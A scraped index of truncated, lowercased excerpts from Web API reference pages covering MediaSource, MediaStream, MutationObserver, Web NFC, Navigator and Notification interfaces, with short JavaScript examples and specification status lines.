the duration property of the mediasource interface gets and sets the duration of the current media being presented. syntax mediasource.duration = 5.5; // 5.5 seconds var myduration = mediasource.duration; value a double. a value in seconds is expected. exceptions the following exceptions may be thrown when setting a
new value for this property. exception explanation invalidaccesserror an attempt was made to set a duration value that was negative, or nan. invalidstateerror mediasource.readystate is not equal to open, or one or more of the sourcebuffer objects in mediasource.sourcebuffers are being updated (i.e. their sourcebuffer.updating property is true.) example the following snippet is based on a simple example written by n...
MediaSource.endOfStream() - Web APIs
imple example written by nick desaulniers (view the full demo live, or download the source for further investigation.) var asseturl = 'frag_bunny.mp4'; // need to be specific for blink regarding codecs // ./mp4info frag_bunny.mp4 | grep codec var mimecodec = 'video/mp4; codecs="avc1.42e01e, mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource =
new mediasource; //console.log(mediasource.readystate); // closed video.src = url.createobjecturl(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec)...
MediaSource.isTypeSupported() - Web APIs
om an example written by nick desaulniers (view the full demo live, or download the source for further investigation.) var asseturl = 'frag_bunny.mp4'; // need to be specific for blink regarding codecs // ./mp4info frag_bunny.mp4 | grep codec var mimecodec = 'video/mp4; codecs="avc1.42e01e, mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource =
new mediasource; //console.log(mediasource.readystate); // closed video.src = url.createobjecturl(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec)...
MediaSource.readyState - Web APIs
ut the stream has been ended via a call to mediasource.endofstream(). syntax var myreadystate = mediasource.readystate; value a domstring. ...
MediaStream() - Web APIs
the mediastream() constructor returns a
newly-created mediastream, which serves as a collection of media tracks, each represented by a mediastreamtrack object. if any parameters are given, the specified tracks are added to the
new stream. otherwise, the stream has no tracks. syntax
newstream =
new mediastream();
newstream =
new mediastream(stream);
newstream =
new mediastream(tracks[]); parameters stream a different mediastream object whose tracks are added to the
newly-created stream automatically. the tracks are not removed from the original stream, so they're shared by the two streams. tracks an array of mediastreamtrack objects, one for each track to add to the stream. return value a
newly-created mediastream object, either empty, or containing the tracks provided, if any. ...
active - Web APIs
ctive; otherwise, it returns false. a stream is considered active if at least one of its mediastreamtracks is not in the mediastreamtrack.ended state. once every track has ended, the stream's active property becomes false. syntax var isactive = mediastream.active; value a boolean value which is true if the stream is currently active; otherwise, the value is false. example in this example, a
new stream whose source is the user's local camera and microphone is requested using getusermedia(). when that stream becomes available (that is, when the returned promise is fulfilled, a button on the page is updated based on whether or not the stream is currently active. var promise = navigator.mediadevices.getusermedia({ audio: true, video: true }); promise.then(function(stream) { var star...
MediaStream.addTrack() - Web APIs
the track is specified as a parameter of type mediastreamtrack. if the specified track is already in the stream's track set, this method has no effect. syntax stream.addtrack(track); parameters track a mediastreamtrack to add to the stream. return value undefined example specifications specification status comment media capture and streamsthe definition of 'addtrack()' in that specification. ...
MediaStream: addtrack event - Web APIs
the addtrack event is fired when a
new mediastreamtrack object has been added to a mediastream. bubbles no cancelable no interface mediastreamtrackevent event handler property onaddtrack examples using addeventlistener(): let stream =
new mediastream(); stream.addeventlistener('addtrack', (event) => { console.log(`
new ${event.track.kind} track added`); }); using the onaddtrack event handler property: let stream =
new mediastream(); stream.onaddtrack = (event) => { console.log(`
new ${event.track.kind} track added`); }; specifications specification status media capture and streamsthe definition of 'addtrack' in that specification. candidate recommendation ...
MediaStream.clone() - Web APIs
the clone() method of the mediastream interface creates a duplicate of the mediastream. this
new mediastream object has a
new unique id and contains clones of every mediastreamtrack contained by the mediastream on which clone() was called. syntax var stream = mediastream.clone(); parameters none. return value a
new mediastream instance which has a
new unique id and contains clones of every mediastreamtrack contained by the mediastream on which clone() was called. specifications specification status comment media capture and streamsthe definition of 'mediastream.clone()' in that specification. candidate recommendation initial definition. ...
MediaStream.getVideoTracks() - Web APIs
the following example, extracted from chrome's image capture / photo resolution sample, uses getvideotracks() to retrieve a track for passing to the imagecapture() constructor. var imagecapture; navigator.mediadevices.getusermedia({video: true}) .then(mediastream => { document.queryselector('video').srcobject = mediastream; const track = mediastream.getvideotracks()[0]; imagecapture =
new imagecapture(track); return imagecapture.getphotocapabilities(); }) specifications specification status comment media capture and streamsthe definition of 'getvideotracks()' in that specification. candidate recommendation initial definition. ...
MediaStream.onremovetrack - Web APIs
etrack property is an eventhandler which specifies a function to be called when the removetrack event occurs on a mediastream instance. this happens when a track of any kind is removed from the media stream. this event is fired when the browser removes a track from the stream (such as when a rtcpeerconnection is renegotiated or a stream being captured using htmlmediaelement.capturestream() gets a
new set of tracks because the media element being captured loaded a
new source. the removetrack event does not get fired when javascript code explicitly removes tracks from the stream (by calling removetrack()). syntax mediastream.onremovetrack = eventhandler; value this should be set to a function which you provide that accepts as input a mediastreamtrackevent object representing the removetra...
MediaStream: removetrack event - Web APIs
the removetrack event is fired when a
new mediastreamtrack object has been removed from a mediastream. bubbles no cancelable no interface mediastreamtrackevent event handler property onremovetrack examples using addeventlistener(): let stream =
new mediastream(); stream.addeventlistener('removetrack', (event) => { console.log(`${event.track.kind} track removed`); }); using the onremovetrack event handler property: let stream =
new mediastream(); stream.onremovetrack = (event) => { console.log(`${event.track.kind} track removed`); }; specifications specification status media capture and streamsthe definition of 'removetrack' in that specification. candidate recommendation ...
MediaStreamAudioDestinationNode.stream - Web APIs
the stream property of the audiocontext interface represents a mediastream containing a single audiomediastreamtrack with the same number of channels as the node itself. you can use this property to get a stream out of the audio graph and feed it into another construct, such as a media recorder. syntax var audioctx =
new audiocontext(); var destination = audioctx.createmediastreamdestination(); var mystream = destination.stream; value a mediastream. example specifications specification status comment web audio apithe definition of 'stream' in that specification. working draft ...
MediaStreamAudioDestinationNode - Web APIs
audionode that acts as an audio destination, created using the audiocontext.createmediastreamdestination method. number of inputs 1 number of outputs 0 channel count 2 channel count mode "explicit" channel count interpretation "speakers" constructor mediastreamaudiodestinationnode.mediastreamaudiodestinationnode() creates a
new mediastreamaudiodestinationnode object instance. properties inherits properties from its parent, audionode. mediastreamaudiodestinationnode.stream is a mediastream containing a single audiomediastreamtrack with the same number of channels as the node itself. you can use this property to get a stream out of the audio graph and feed it into another construct, such as a media recorder. meth...
MediaStreamAudioSourceNode.mediaStream - Web APIs
ource of audio for the node. the user agent uses the first audio track it finds on the specified stream as the audio source for this node. however, there is no way to be certain which track that will be on multi-track streams. if the specific track matters to you, or you need to have access to the track itself, you should use a mediastreamtrackaudiosourcenode instead. examples const audioctx =
new window.audiocontext(); let options = { mediastream : stream } let source =
new mediastreamaudiosourcenode(audioctx, options); console.log(source.mediastream); specifications specification status comment web audio apithe definition of 'mediastreamaudiosourcenode.mediastream' in that specification. working draft ...
MediaStreamEvent - Web APIs
eamevent interface represents events that occurs in relation to a mediastream. two events of this type can be thrown: addstream and removestream. properties a mediastreamevent being an event, this event also implements these properties. mediastreamevent.stream read only contains the mediastream containing the stream associated with the event. constructors mediastreamevent() returns a
new mediastreamevent. it takes two parameters, the first being a domstring representing the type of the event; the second a dictionary containing the mediastream it refers to. methods a mediastreamevent being an event, this event also implements these properties. there is no specific mediastreamevent method. examples pc.onaddstream = function( ev ) { alert("a stream (id: '" + ev.stream.id + "...
MediaStreamTrack.applyConstraints() - Web APIs
sizes. see applying constraints in capabilities, constraints, and settings for more information on how to apply your preferred constraints. syntax const appliedpromise = track.applyconstraints([constraints]) parameters constraints optional a mediatrackconstraints object listing the constraints to apply to the track's constrainable properties; any existing constraints are replaced with the
new values specified, and any constrainable properties not included are restored to their default constraints. if this parameter is omitted, all currently set custom constraints are cleared. this object represents the basic set of constraints that must apply for the promise to resolve. the object may contain an advanced property containing an array of additional mediatrackconstrants objects, which ar...
MediaStreamTrack.clone() - Web APIs
the clone() method of the mediastreamtrack interface creates a duplicate of the mediastreamtrack. this
new mediastreamtrack object is identical except for its unique id. syntax const
newtrack = track.clone() return value a
new mediastreamtrack instance which is identical to the one clone() was called, except for its
new unique id. specifications specification status comment media capture and streamsthe definition of 'clone()' in that specification. candidate recommendation initial definition. ...
MediaStreamTrack.readyState - Web APIs
the track. syntax const state = track.readystate value it takes one of the following values: "live" which indicates that an input is connected and does its best-effort in providing real-time data. in that case, the output of data can be switched on or off using the mediastreamtrack.enabled property. "ended" which indicates that the input is not giving any more data and will never provide
new data. specifications specification status comment media capture and streamsthe definition of 'mediastreamtrack.readystate' in that specification. candidate recommendation initial specification. ...
MediaStreamTrack - Web APIs
ad only returns an enumerated value giving the status of the track. this will be one of the following values: "live" which indicates that an input is connected and does its best-effort in providing real-time data. in that case, the output of data can be switched on or off using the enabled attribute. "ended" which indicates that the input is not giving any more data and will never provide
new data. mediastreamtrack.remote read only returns a boolean with a value of true if the track is sourced by a rtcpeerconnection, false otherwise. methods mediastreamtrack.applyconstraints() lets the application specify the ideal and/or ranges of acceptable values for any number of the available constrainable properties of the mediastreamtrack. mediastreamtrack.clone() returns a dup...
MediaStreamTrackEvent() - Web APIs
the mediastreamtrackevent() constructor returns a
newly created mediastreamtrackevent object, which represents an event announcing that a mediastreamtrack has been added to or removed from a mediastream. syntax var trackevent =
new mediastreamtrackevent(type, {track: amediastreamtrack}); parameters the mediastreamtrackevent() constructor also inherits arguments from event(). type a domstring representing the name of the type of the mediastreamtrackevent. it is case-sensitive and can be "addtrack" or "removetrack". track a mediastreamtrack object representing the track which was added to or removed from the stream. return value a
new mediastreamtrackevent, initialized based on the provided options. specifications specification status comment media captu...
MediaStreamTrackEvent - Web APIs
>mediastreamtrackevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} the events based on this interface are addtrack and removetrack properties also inherits properties from its parent interface, event. track read only a mediastreamtrack object representing the track which was added to the stream. constructor mediastreamtrackevent() constructs a
new mediastreamtrackevent with the specified configuration. methods also inherits methods from its parent event. specifications specification status comment media capture and streamsthe definition of 'mediastreamtrackevent' in that specification. candidate recommendation ...
MediaStream Image Capture API - Web APIs
{ return; } track.applyconstraints({ advanced : [{ zoom: zoom.value }] }); finally, pass the mediastreamtrack object to the imagecapture() constructor. though a mediastream holds several types of tracks and provides multiple methods for retrieving them, the imagecapture constructor will throw a domexception of type notsupportederror if mediastreamtrack.kind is not "video". let imagecapture =
new imagecapture(track); interfaces imagecapture an interface for capturing images from a photographic device referenced through a valid mediastreamtrack. photocapabilities provides available configuration options for an attached photographic device. retrieve a photocapabilities object by calling imagecapture.getphotocapabilities(). specifications specification status commen...
MediaTrackSupportedConstraints.frameRate - Web APIs
only boolean value which is present (and set to true) in the object returned by mediadevices.getsupportedconstraints() if and only if the user agent supports the framerate constraint. if the constraint isn't supported, it's not included in the list, so this value will never be false. the framerate constraint can be used to establish acceptable upper and lower bounds on the video frame rate for a
new video track, or to specify an exact frame rate that must be provided for the request to succeed. checking the value of this property lets you determine if the user agent allows constraining the video track configuration by frame rate. see the example to see how this can be used. syntax framerateconstraintsupported = supportedconstraintsdictionary.framerate; value this property is present in t...
Media Capabilities API - Web APIs
ported ? '' : 'not ') + 'supported, ' + (result.smooth ? '' : 'not ') + 'smooth, and ' + (result.powerefficient ? '' : 'not ') + 'power efficient.') }) .catch(() => { console.log("decodinginfo error: " + contenttype) }); } media capabilities api concepts and usage there are a myriad of video and audio codecs. different browsers support different media types and
new media types are always being developed. with the media capabilities api, developers can ensure each user is getting the best bitrate and storage savings for their browser, device, and os capabilities. whether a device uses hardware or software decoding impacts how smooth and power efficient the video decoding is and how efficient the playback will be. the media capabilities api enables determini...
Media Session API - Web APIs
which has been requested, including the type of action to perform and any other information needed, such as seek distances or times. examples the following example shows feature detection for the media session api. ...
MerchantValidationEvent - Web APIs
the merchantvalidationevent interface of the the payment request api enables a merchant to verify themselves as allowed to use a particular payment handler. to learn more about merchant validation, see merchant validation in payment processing concepts. constructor merchantvalidationevent() secure context creates a
new merchantvalidationevent object describing a merchantvalidation event that will be sent to the payment handler to request that it validate the merchant. properties merchantvalidationevent.methodname secure context a domstring providing a unique payment method identifier for the payment handler that's requiring validation. this may be either one of the standard payment method identifier strings or a url that both identifies and handles requests for the payment hand...
MouseEvent() - Web APIs
mouseeventinit optional is a mouseeventinit dictionary, having the following fields: "screenx", optional and defaulting to 0, of type long, that is the horizontal position of the mouse event on the user's screen; setting this value doesn't move the mouse pointer. "screeny", optional and defaulting to 0, of type long, that is the vertical position of the mouse event on the user's screen; setting this value doesn't move the mouse pointer. ...
MouseEvent - Web APIs
of a mouseevent created. if the event has already being dispatched, this method does nothing. example this example demonstrates simulating a click (that is programmatically generating a click event) on a checkbox using dom methods. ...
MutationObserver.disconnect() - Web APIs
is removed from the dom, and then subsequently released by the browser's garbage collection mechanism, the mutationobserver is likewise deleted. example this example creates an observer, then disconnects from it, leaving it available for possible reuse. const targetnode = document.queryselector("#someelement"); const observeroptions = { childlist: true, attributes: true } const observer =
new mutationobserver(callback); observer.observe(targetnode, observeroptions); /* some time later... */ observer.disconnect(); specifications specification status comment domthe definition of 'mutationobserver.disconnect()' in that specification. living standard ...
MutationObserver.takeRecords() - Web APIs
ccurred, but not been delivered to the observer's callback is left empty after calling takerecords(). example in this example, we demonstrate how to handle any undelivered mutationrecords by calling takerecords() just before disconnecting the observer. const targetnode = document.queryselector("#someelement"); const observeroptions = { childlist: true, attributes: true } const observer =
new mutationobserver(callback); observer.observe(targetnode, observeroptions); /* ...later, when it's time to stop observing... */ /* handle any still-pending mutations */ let mutations = observer.takerecords(); observer.disconnect(); if (mutations) { callback(mutations); } the code in lines 12–17 fetches any unprocessed mutation records, then invokes the callback with the records so that ...
MutationObserverInit.childList - Web APIs
the mutationobserverinit dictionary's optional childlist property indicates whether or not to monitor the specified node or nodes for the addition or removal of
new child nodes. if childlist is false (the default), adding or removing
new nodes does not trigger mutation callbacks. by setting childlist to true, your callback will be invoked any time nodes are added to or removed from the dom node or nodes being watched. syntax var options = { childlist: true | false } value a boolean value indicating whether or not to invoke the callback function when
new nodes are added to or removed from the section of the dom being monitored.. if subtree is false, only the node indicated by the observer's target node is monitored for changes. setting subtree to true causes addition or removal of nod...
MutationObserverInit - Web APIs
subtree optional set to true to extend monitoring to the entire subtree of nodes rooted at target. all of the other mutationobserverinit properties are then extended to all of the nodes in the subtree instead of applying solely to the target node. the default value is false. childlist optional set to true to monitor the target node (and, if subtree is true, its descendants) for the addition of
new child nodes or removal of existing child nodes. the default value is false. attributes optional set to true to watch for changes to the value of attributes on the node or nodes being monitored. the default value is true if either of attributefilter or attributeoldvalue is specified, otherwise the default value is false. attributefilter optional an array of specific attribute names to be monit...
NDEFMessage - Web APIs
the ndefmessage interface of the web nfc api is an abstract interface that represents message that can be received or sent to a to compatible nfc devices, e.g. nfc tags supporting ndef. constructor ndefmessage.ndefmessage() returns a
new ndefmessage containing specified data. attributes ndefmessage.records read only represents a list of ndef records defining the ndef message. specifications specification status comment web nfc, ndefmessage draft initial definition. ...
NDEFReader() - Web APIs
the ndefreader() constructor of the web nfc api returns a
newly constructed ndefreader object used to read ndef messages from compatiable nfc devices, e.g. ndef tags, within the reader's magnetic induction field. syntax writer =
new ndefreader(); parameters none. return value a
new ndefreader. specifications specification status comment web nfc, ndefreader draft initial definition. ...
NDEFReader - Web APIs
on field. constructor ndefreader.ndefreader() returns an ndefreader with configuration specified in the parameters or default ones if no parameters are specified. properties in addition to the properties listed below, ndefreader inherits properties from its parent interface, eventtarget. ndefreader.onreading an event handler for reading event, that notifies about availability of a
new reading. ndefreader.onerror an event handler for error event which is called to notify that an error occured during reading. methods the ndefreader interface inherits the methods of eventtarget, its parent interface. ndefreader.scan() called to activate the reader (after ensuring hardware and ua compatibility and obtaining permission from the user) or get an error explaining why feat...
NDEFReadingEvent - Web APIs
constructor ndefreadingevent.ndefreadingevent() creates an ndefreadingevent event with the given parameters. properties also inherits properties from its parent event. ndefreadingevent.serialnumber read only represents the serial number of the device used for anti-collision and identification, or empty string in case none is available. ndefreadingevent.message read only represents the received message as an ndefmessage object. methods inherits methods from its parent event. ...
NDEFRecord() - Web APIs
the ndefrecord() constructor of the web nfc api returns a
newly constructed ndefrecord object that represents data that can be read from or written to compatible nfc devices, e.g. nfc tags supporting ndef. syntax writer =
new ndefrecord(ndefrecordinit); parameters ndefrecordinit read only ndefrecordinit with initialization data. return value a
new ndefrecord. specifications specification status comment web nfc, ndefrecord draft initial definition. ...
NDEFRecord - Web APIs
attributes ndefrecord.recordtype read only represents the ndef record type. ndefrecord.mediatype read only represents the mime type of the ndef record payload. ...
NDEFWriter() - Web APIs
the ndefwriter() constructor of the web nfc api returns a
newly constructed ndefwriter object used to write ndef messages to compatiable nfc devices, e.g. ndef tags, within the reader's magnetic induction field. syntax writer =
new ndefwriter(); parameters none. return value a
new ndefwriter. specifications specification status comment web nfc, ndefwriter draft initial definition. ...
Navigator.getBattery() - Web APIs
this implements the battery status api; see that documentation for additional details, a guide to using the api, and sample code. note: in some browsers access to this feature is controlled by feature-policy directive battery. ...
Navigator.getUserMedia() - Web APIs
d/or audio tracks come from those devices is delivered to the specified success callback. if permission is denied, no compatible input devices exist, or any other error condition occurs, the error callback is executed with a mediastreamerror object describing what went wrong. if the user instead doesn't make a choice at all, neither callback is executed. this is a legacy method. please use the
newer navigator.mediadevices.getusermedia() instead. while technically not deprecated, this old callback version is marked as such, since the specification strongly encourages using the
newer promise returning version. syntax navigator.getusermedia(constraints, successcallback, errorcallback); parameters constraints a mediastreamconstraints object specifying the types of media to request, alo...
Navigator.mediaSession - Web APIs
of the song being played as well as potentially one or more images containing things like album art, artist photos, and so forth. example in this example, metadata is submitted to the mediasession object. note that the code begins by ensuring that the navigator.mediasession property is available before attempting to use it. if ("mediasession" in navigator){ navigator.mediasession.metadata =
new mediametadata({ title: "podcast episode title", artist: "podcast host", album: "podcast name", artwork: [{src: "podcast.jpg"}] }); } specifications specification status comment media session standardthe definition of 'navigator.mediasession' in that specification. draft initial definition. ...
Navigator.registerProtocolHandler() - Web APIs
d. a custom scheme may be registered as long as: the custom scheme's name begins with web+ the custom scheme's name includes at least 1 letter after the web+ prefix the custom scheme has only lowercase ascii letters in its name. for example, web+burger, as shown in the example below. ...
Navigator.xr - Web APIs
ich can be used to access the webxr device api. syntax const xr = navigator.xr value the xr object used to interface with the webxr device api in the current context. this can be used to present augmented and/or virtual reality imagery to the user. usage notes each window has its own instance of navigator, which can be accessed as window.navigator or simply as navigator. at the same time, a
new xr instance is also created and attached to the navigator instance as navigator.xr. if the xr property exists and is non-null, you can use it to access the webxr device api. to determine if webxr is available, you can do something like this: if ("xr" in window.navigator) { /* webxr can be used! */ } else { /* webxr isn't available */ } specifications specification status c...
Navigator - Web APIs
returns a domstring representing the preferred language of the user, usually the language of the browser ui. the null value is returned when this is unknown. navigatorlanguage.languages read only returns an array of domstring representing the languages known to the user, by order of preference. navigator.locks read only returns a lockmanager object which provides methods for requesting a
new lock object and querying for an existing lock object navigator.mediacapabilities read only returns a mediacapabilities object that can expose information about the decoding and encoding capabilities for a given format and output capabilities. navigator.maxtouchpoints read only returns the maximum number of simultaneous touch contact points are supported by the current device. navigatorplu...
NavigatorID.userAgent - Web APIs
the navigatorid.useragent read-only property returns the user agent string for the current browser. the specification asks browsers to provide as little information via this field as possible. never assume that the value of this property will stay the same in future versions of the same browser. try not to use it at all, or only for current and past versions of a browser.
new browsers may start using the same ua, or part of it, as an older browser: you really have no guarantee that the browser agent is indeed the one advertised by this property. also keep in mind that users of a browser can change the value of this field if they want (ua spoofing). browser identification based on detecting the user agent string is unreliable and is not recommended, as the user agent string is user confi...
Online and offline events - Web APIs
dates this property when the os reports a change in network connectivity on windows, linux, and os x. this property existed in older versions of firefox and internet explorer (the specification based itself off of these prior implementations), so you can begin using it immediately. network status autodetection was implemented in firefox 2. "online" and "offline" events firefox 3 introduces two
new events: "online" and "offline". these two events are fired on the <body> of each page when the browser switches between online and offline mode. additionally, the events bubble up from document.body, to document, ending at window. both events are non-cancellable (you can't prevent the user from coming online, or going offline). firefox 41 fires these events when the os reports a change in networ...
Node.baseURI - Web APIs
be null if unable to obtain an absolute uri. although this property is read-only, its value may change in certain situations (see below). details the base url of a document the base url of a document defaults to the document's address (as displayed by the browser and available in window.location), but it can be changed: when an html <base> tag is found in the document when the document is
new (created dynamically) see the base urls section of the html living standard for details. you can use document.baseuri to obtain the base url of a document. note that obtaining the base url for a document may return different urls over time if the <base> tags or the document's location change. the base url of an element the base url of an element in html normally equals the base url of the do...
Node.cloneNode() - Web APIs
deep optional* if true, then node and its whole subtree—including text that may be in child text nodes—is also copied. if false, only node will be cloned. any text that node contains is not cloned, either (since text is contained by one or more child text nodes). ...
Node.setUserData() - Web APIs
the node is being cloned, imported, renamed, as well as if deleted or adopted; a function can be used or an object implementing the handle method (part of the userdatahandler interface). the handler will be passed five arguments: an operation type integer (e.g., 1 to indicate a clone operation), the user key, the data on the node, the source node (null if being deleted), the destination node (the
newly created node or null if none).if no handler is desired, one must specify null. userdata is the object to associate to userkey on somenode. if null, any previously registered object and userdatahandler associated to userkey on this node will be removed. example var d = document.implementation.createdocument('', 'test', null); d.documentelement.setuserdata('key', 15, {handle:function (o, k, d...
NodeIterator.referenceNode - Web APIs
the nodeiterator.referencenode read-only returns the node to which the iterator is anchored; as
new nodes are inserted, the iterator remains anchored to the reference node as specified by this property. syntax node = nodeiterator.referencenode; example var nodeiterator = document.createnodeiterator( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); node = nodeiterator.referencenode; specifications specification status comment domthe definition of 'nodeiterator.referencenode' in that specification. living standard initial definition. ...
NonDocumentTypeChildNode.nextElementSibling - Web APIs
prototype, characterdata.prototype]); specifications specification status comment domthe definition of 'childnodenextelementsibling' in that specification. living standard split the elementtraversal interface in childnode, parentnode, and nondocumenttypechildnode. this method is now defined on the former. the element and characterdata interfaces implemented the
new interface. element traversal specificationthe definition of 'elementtraversal.nextelementsibling' in that specification. obsolete added its initial definition to the elementtraversal pure interface and use it on element. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out ht...
NonDocumentTypeChildNode.previousElementSibling - Web APIs
a.prototype]); specifications specification status comment domthe definition of 'nondocumenttypechildnode.previouselementsibling' in that specification. living standard splitted the elementtraversal interface in childnode, parentnode, and nondocumenttypechildnode. this method is now defined on the former. the element and characterdata interfaces implemented the
new interface. element traversal specificationthe definition of 'elementtraversal.previouselementsibling' in that specification. obsolete added its initial definition to the elementtraversal pure interface and use it on element. ...
NonDocumentTypeChildNode - Web APIs
methods. specifications specification status comment domthe definition of 'nondocumenttypechildnode' in that specification. living standard splitted the elementtraversal interface in parentnode, childnode, and nondocumenttypechildnode. the previouselementsibling and nextelementsibling are now defined on the latter. the characterdata and element implemented the
new interfaces. element traversal specificationthe definition of 'elementtraversal' in that specification. obsolete added the initial definition of its properties to the elementtraversal pure interface and use it on element. ...
Notification.body - Web APIs
ailable in web workers. the body read-only property of the notification interface indicates the body string of the notification, as specified in the body option of the notification() constructor. syntax var body = notification.body; value a domstring. examples function spawnnotification(thebody, theicon, thetitle) { var options = { body: thebody, icon: theicon } var n =
new notification(thetitle, options); console.log(n.body); } specifications specification status comment notifications apithe definition of 'body' in that specification. living standard living standard ...
Notification.data - Web APIs
ication's data can be any arbitrary data that you want associated with the notification. syntax var data = notification.data; value a structured clone. examples the following snippet fires a notification; a simple options object is created, then the notification is fired using the notification() constructor. var options = { body: 'do you like my body?', data: 'i like peas.' } var n =
new notification('test notification',options); console.log(n.data) // should return 'i like peas.' specifications specification status comment notifications apithe definition of 'data' in that specification. living standard living standard ...
Notification.dir - Web APIs
default.) ltr: left to right. rtl : right to left. note: most browsers seem to ignore explicit ltr and rtl settings, and just go with the browser-wide setting. examples the following snippet fires a notification; a simple options object is created, then the notification is fired using the notification() constructor. var options = { body: 'do you like my body?', dir: 'rtl' } var n =
new notification('test notification',options); console.log(n.dir) // should return 'rtl' specifications specification status comment notifications apithe definition of 'dir' in that specification. living standard living standard ...
Notification.icon - Web APIs
e url of an icon to be displayed as part of the notification, as specified in the icon option of the notification() constructor. syntax var icon = notification.icon; value a usvstring. examples in our to-do list app (view the app running live), we use the notification() constructor to fire a notification, passing it arguments to specify the body, icon and title we want. var notification =
new notification('to do list', { body: text, icon: img }); specifications specification status comment notifications apithe definition of 'icon' in that specification. living standard living standard ...
Notification.lang - Web APIs
the sitepoint iso 2 letter language codes page for a simple reference. syntax var language = notification.lang; value a domstring specifying the language tag. examples the following snippet fires a notification; a simple options object is created, then the notification is fired using the notification() constructor. var options = { body: 'do you like my body?', lang: 'en-us' } var n =
new notification('test notification',options); console.log(n.lang) // should return 'en-us' specifications specification status comment notifications apithe definition of 'lang' in that specification. living standard living standard ...
Notification.onclick - Web APIs
s. these events occur when the user clicks on a displayed notification. syntax notification.onclick = function(event) { ... }; the default behavior is to move the focus to the viewport of the notification's related browsing context. if you don't want that behaviour, call preventdefault() on the event object. ...
Notification.requireInteraction - Web APIs
her than closing automatically. note: this can be set when the notification is first created by setting the requireinteraction option to true in the options object of the notification.notification() constructor. syntax function spawnnotification(thetitle,thebody,shouldrequireinteraction) { var options = { body: thebody, requireinteraction: shouldrequireinteraction } var n =
new notification(thetitle,options); } value a boolean. specifications specification status comment notifications apithe definition of 'requireinteraction' in that specification. living standard living standard. ...
Notification.silent - Web APIs
ion() constructor. syntax var silent = notification.silent; value a boolean. false is the default; true makes the notification silent. examples the following snippet is intended to fire a silent notification; a simple options object is created, and then the notification is fired using the notification() constructor. var options = { body: 'do you like my body?', silent: true } var n =
new notification('test notification', options); console.log(n.silent) // should log true specifications specification status comment notifications apithe definition of 'silent' in that specification. living standard living standard ...
Notification.timestamp - Web APIs
mestamp for a missed message could be set in the past. syntax var timestamp = notification.timestamp; value a domtimestamp. examples the following snippet fires a notification; a simple options object is created, then the notification is fired using the notification() constructor. var dts = math.floor(date.now()); var options = { body: 'do you like my body?', timestamp: dts } var n =
new notification('test notification',options); console.log(n.timestamp) // should log original timestamp specifications specification status comment notifications apithe definition of 'timestamp' in that specification. living standard living standard ...
Notification.title - Web APIs
vailable in web workers. the title read-only property of the notification interface indicates the title of the notification, as specified in the title parameter of the notification() constructor. syntax var title = notification.title; value a domstring. examples function spawnnotification(thebody,theicon,thetitle) { var options = { body: thebody, icon: theicon } var n =
new notification(thetitle,options); console.log(n.title) } specifications specification status comment notifications apithe definition of 'title' in that specification. living standard living standard ...
Notification.vibrate - Web APIs
= notification.vibrate; value a vibration pattern, as specified in the vibration api spec. examples the following snippet is intended to create a notification that also triggers a device vibration; a simple options object is created, and then the notification is fired using the notification() constructor. var options = { body: 'do you like my body?', vibrate: [200, 100, 200] } var n =
new notification('test notification',options); console.log(n.vibrate) // should log [200,100,200] specifications specification status comment notifications apithe definition of 'vibrate' in that specification. living standard living standard ...
NotificationAction - Web APIs
tself. example notifications can fire notificationclick events on the serviceworkerglobalscope. here a service worker shows a notification with a single "archive" action, allowing users to perform this common task from the notification without having to open the website. the user can also click the main body of the notification to open their inbox instead. ...
NotificationEvent.NotificationEvent() - Web APIs
the notificationevent() constructor creates a
new notificationevent object. syntax var mynotificationevent =
new notificationevent(type, notificationeventinit); parameters type tbd notificationeventinit optional a dictionary object containing a notification object to be used as the notification the event is dispatched on. in later drafts of the specification, this parameter is not optional. example var n =
new notification('hello'); var init = { notification: n }; var mynotificationevent =
new notificationevent(type, init); specifications specification status comment notifications apithe definition of 'notificationevent() constructor' in that specification. living standard living standard. ...
NotificationEvent.action - Web APIs
r clicked. this value returns an empty string if the user clicked the notification somewhere other than an action button, or the notification does not have a button. the notification id is set during the creation of the notification via the actions array attribute and can't be modified unless the notification is replaced. returns a domstring object. ...
Notifications API - Web APIs
ll spawn a request dialog, along the following lines: from here the user can choose to allow notifications from this origin, or block them. once a choice has been made, the setting will generally persist for the current session. note: as of firefox 44, the permissions for notifications and push have been merged. if permission is granted for notifications, push will also be enabled. next, a
new notification is created using the notification() constructor. this must be passed a title argument, and can optionally be passed an options object to specify options, such as text direction, body text, icon to display, notification sound to play, and more. in addition, the notifications api spec specifies a number of additions to the serviceworker api, to allow service workers to fire notificati...
OES_vertex_array_object - Web APIs
e using the webglrenderingcontext.getextension() method. for more information, see also using extensions in the webgl tutorial. availability: this extension is only available to webgl1 contexts. in webgl2, the functionality of this extension is available on the webgl2 context by default and the constants and methods are available without the "oes" suffix. constants this extension exposes one
new constant, which can be used in the gl.getparameter() method: ext.vertex_array_binding_oes returns a webglvertexarrayobject object when used in the gl.getparameter() method as the pname parameter. methods this extension exposes four
new methods. ext.createvertexarrayoes() creates a
new webglvertexarrayobject. ext.deletevertexarrayoes() deletes a given webglvertexarrayobject. ...
OfflineAudioCompletionEvent.OfflineAudioCompletionEvent() - Web APIs
the offlineaudiocompletionevent() constructor of the web audio api creates a
new offlineaudiocompletionevent object instance. note: you wouldn't generally use the constructor manually. offlineaudiocompletionevents are despatched to offlineaudiocontext instances for legacy reasons. syntax var offlineaudiocompletionevent =
new offlineaudiocompletionevent(type, init) parameters type optional a domstring representing the type of object to create. init optional options are as follows: renderedbuffer: the rendered audiobuffer containing the audio data. return value a
new offlineaudiocompletionevent object instance. specifications specification status comment web audio apithe definition of 'offlineaudiocompletionevent()' in that specification. wor...
OfflineAudioCompletionEvent - Web APIs
